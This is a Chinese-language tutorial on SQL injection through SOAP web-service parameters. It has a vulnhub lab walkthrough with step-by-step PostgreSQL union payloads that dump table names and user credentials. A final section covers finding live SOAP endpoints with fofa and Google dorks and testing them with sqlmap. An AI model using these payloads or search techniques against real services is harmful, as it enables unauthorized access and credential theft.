零基础学黑客,搜索公众号:白帽子左一
soap 注入简介
soap注入就是在webservice 的soap协议,连接web服务和客户端的接口处的注入,通过在发送的soap消息参数内添加注入语句来达到注入效果,常见的有sql注入,也有xml注入,代码注入
什么是soap
首先介绍webservice,webservice是一种跨平台,跨语言的规范,用于不同平台,不同语言间的交互,webservice有三要素,分别为soap,wsdl和uddl,uddl用于提供发布和查询webservice方法,wsdl是webservice服务描述语言,用于web服务说明,它是一个xml文档,用于说明一组soap消息如何访问接口,soap是简单对象访问协议,用于分布式环境的基于信息交换的同行协议,描述传递信息的格式和规范,它可以用于连接web服务和客户端之间的接口,是一个可以在不同操作系统上运行的不同语言编写的程序之间的传输通信协议,格式为xml,soap消息
soap协议又分为soap 1.1 和 soap 1.2 两个版本
这两个协议间的区别在于soap 1.1里存在soapAction请求头,而soap 1.2没有,soap 1.2里用了action来代替,两者的wsdl文件也不同,体现在命名空间和定义service差别里,不过这些对注入没有影响
soap SQL注入
SOAP sql注入原理
soap sql 注入就是攻击者修改发送的soap消息参数,达到发起SQL注入的效果,在服务提供端,soap信息被解析,参数在访问数据库前没有被检测,导致执行sql语句,造成sql注入
之前提到过soap的格式为xml的
<?xml version="1.0"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
</soap:Header>
<soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body>
</soap:Envelope>
Envelope:用于把xml信息标记为soap
header:包含请求信息
Body:包含了请求和相应信息
Fault:包含了发生的错误信息
这里重点关注Body,Body处包含了请求和相应信息,当Body内有存在数据可控时,就有可能存在注入
例如
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetServiceCustomer xmlns="http://tempuri.org/">
<UserID>string</UserID>
<ServiceType>string</ServiceType>
<CO_CODE>string</CO_CODE>
</GetServiceCustomer>
</soap:Body>
</soap:Envelope>
如果这里的UserID处的参数被放入数据库查询,就有可能触发漏洞,当然,这里需要知道此处web服务的功能,sql注入一般发生在数据查询处
或者可以去通过查看asmx下的wsdl,wsdl是一个xml,用于说明soap消息及如何使用这些消息,通常形式为asmx?wsdl,后面测试里会提到的
这里我们使用vulnhub去测试
首先访问靶机
一般存在注入的地方发生在数据查询处,查看4个功能点功能,AddUser 为添加用户,list 为列举用户,getuser 为获取用户,delete 为删除用户,这里最有可能存在漏洞处为获取用户信息处
点击查看它的消息布局
发现username处为string 此处传入为字符串,可能存在注入
也可以通过查看它的wsdl去分析,去看soap消息及如何使用这些消息
找到getuser处
查看此处的GetUser元素,此处元素为内部创建的子元素,这里子元素名称为username,类型为字符串类型
往下看,查找它的operation,也就是它的操作活动
找到GetUserHttpGetIn 这个可以看作是 Get User Http Get In 为获取用户的输入
以此为突破口进行测试
这个靶场的数据库为PostgreSQL 数据库,那么要用 PostgreSQL注入来做
首先测试下是否有注入
输入 ‘ or 1=1 — qwe
得到结果
再输入 ‘ or 1=2 — qwe
可以说明此处存在注入
这里我们用联合查询的方式去操作,PostgreSQL的联合查询和mysql的十分相似
先用order by去判断字段数,到order by 3时报错
可以看到,此处3个字段超过了,这里为两个字段
接下来查询数据
首先判断显错位
admin’ union select aaa,aaa — qwe
结果报错
因为这里必须是以字符串传入,所以换 admin’ union select ‘aaa’,’aaa’ — qwe 语句去尝试下
两处都为显错位
那么填入我们要查询的数据试下,先查看当前数据库
aaa’ union select current_database(),’ccc’ — qwe
得到当前库名为 vulnerable
由于postgresql数据库和用户相关,所以要先去查看当前用户名以及了解当前用户的权限
语句
aaa’ union select current_user,’ccc’ — qwe
得到结果
用户名为postgres
postgres用户为PostgreSQL数据库的默认用户名,有足够权限去查询其他的库和表
再找表名
aaaa’ union select table_name,’ccc’ from information_schema.tables limit 1 offset 17 — qwe
新版本的PostgreSQL数据库的查询方法和mysql的差不多,都有information_schema 去辅助查询,当然还有其他方法也可以查找,比如利用postgresql数据库的统计收集器pg_stat_database去查询
PostgreSQL数据库里的limit语法和mysql的不同,用法为 limit 1 offset 0
limit 1为列出一条数据, offset 0 为从第0位开始
得到表名user
再查找字段名
bbb’ union select column_name,’ccc’ from information_schema.columns where table_name=’users’ limit 1 offset 0 — qwe
得到第一个字段名为password
查找其他字段
bbb’ union select column_name,’ccc’ from information_schema.columns where table_name=’users’ limit 1 offset 1 — qwe
得到第二个用户名的字段
查找数据
bbb’ union select username,password from users limit 1 offset 1 — qwe
得到结果
SOAP SQL注入查找(初级)
通常而言通过搜索特定后缀去找webservice地址,比如通过在fofa搜索 asmx,asmx是webservice服务程序的后缀名,asp.net 使用 asmx 来进行对webservice的支持,通过fofa上搜索找目标,或者可以使用google语法搜索,inurl:asmx?wsdl,inurl:.php?wsdl inurl:.ashx?wsdl通过去查找webservice的服务描述的xml文档来找寻可能的注入点
SOAP SQL注入查找(进阶)
因为wsdl内的信息过于繁杂,可以借助辅助工具来对wsdl进行分析,常用的有soapui,或者用burp的wsdler模块,都可以分析wsdl来得到
点击file,选择create new project,填入地址
然后就可以对wsdl地址进行解析
抓取访问wsdl的数据包,然后右键,选择parse wsdl
得到分析结果,这里可以结合sqlmap使用,把抓到的包保存为txt文件,然后sqlmap去测试
参考连接
http://emonsec.com/web/51995.html
http://ccg-lenovo.com/2020/03/27/SOAP%E6%B3%A8%E5%85%A5/
https://blog.csdn.net/niexinming/article/details/49491643
https://resources.infosecinstitute.com/topic/soap-attack-2/
https://skysec.top/2018/08/17/SOAP%E5%8F%8A%E7%9B%B8%E5%85%B3%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/